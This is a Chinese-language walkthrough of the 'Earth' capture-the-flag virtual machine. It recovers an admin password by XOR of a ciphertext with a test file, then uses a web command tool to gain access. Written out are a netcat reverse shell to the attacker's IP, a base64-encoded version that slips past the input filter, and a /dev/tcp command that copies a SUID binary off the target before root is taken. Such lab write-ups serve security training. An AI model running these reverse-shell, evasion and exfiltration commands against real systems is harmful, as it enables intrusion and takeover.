2026/10/22 1:15:42

星球系列靶机Earth

星球系列靶机Earth 打开后将其设置为nat模式扫描到靶机ip192.168.108.137扫描端口可以看到存在80端口和443端口可以看到访问80端口是不能访问的但是看到443端口也是http服务看到443端口的域名以及dns修改hostsvim /etc/hosts然后在访问earth.local来到web界面存在一个发送信息的框架可以看到信息是通过自己设置的密钥进行加密的可以尝试以下目录扫描存在一个登录界面查看以下另一个dns是https的一个可以看到存在robots.txt访问https://terratest.earth.local/robots.txt获得看到最后的一个文件猜测是txt的扩展名访问后获得翻译测试安全消息传递系统注意事项*使用 XOR 加密作为算法应该像在 RSA 中使用一样安全。*地球已确认他们已收到我们发送的消息。*testdata.txt用于测试加密。*Terra 用作管理门户的用户名。待办事项*我们如何安全地将每月密钥发送到地球还是我们应该每周更换密钥*需要测试不同的密钥长度以防止暴力破解。密钥应该有多长*需要改进消息传递界面和管理面板的界面目前非常基础。得到三个信息1.密码是通过异或进行加密的2.test.txt是一个密码本3.Terra 用作管理门户的用户名首先我们需要获得密码本这因该就是信息这个是密文2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a通过异或获得密码脚本import base64import binasciidata1 2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5af binascii.b2a_hex(open(testdata.txt, rb).read()).decode()#binascii.b2a_hexreshex(int(data1,16) ^ int(f,16))print(res)获得一串16进制的编码然后在将其转化为字符串0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174将其解码获得密码earthclimatechangebad4humans登录登陆成功是一个命令执行的工具:可以看到执行成功搜索以下flag查看一下尝试监听端口 nc -e 192.168.108.128 4444/bin/bash可以看出这个监听的ip是不能使用的猜测是因为被过滤掉了尝试使用base64加密后的进监听加密然后监听本机的4444端口nc-lvnp 4444执行echo bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMTA4LjEyOCA0NDQ0IAo | basea64 -d |bash监听成功交互监听成功进行交互没有权限找一下超级用户find / -perm -us -type f 2/dev/null可以看到/usr/bin/reset_root然后就可以查看一下使用cat是乱码就是尝试stringsStrings /usr/bin/reset_root看到是一段进程信息看到存在有密码修改的地方尝试执行一下程序提示是程序存在触发器是不存在将程序的信息发送到kali中进行审计靶机监听cat /usr/bin/reset_root /dev/tcp/192.168.108/128/8888Kali 监听nc -lvnp 8888 reset_root获得文件添加执行权限使用strace来追踪进程获得报错的信息不存在这三个文件尝试在靶机添加文件再次运行程序可以看到密码进行了修改尝试登录root可以看到flag信息查看他获得flag完成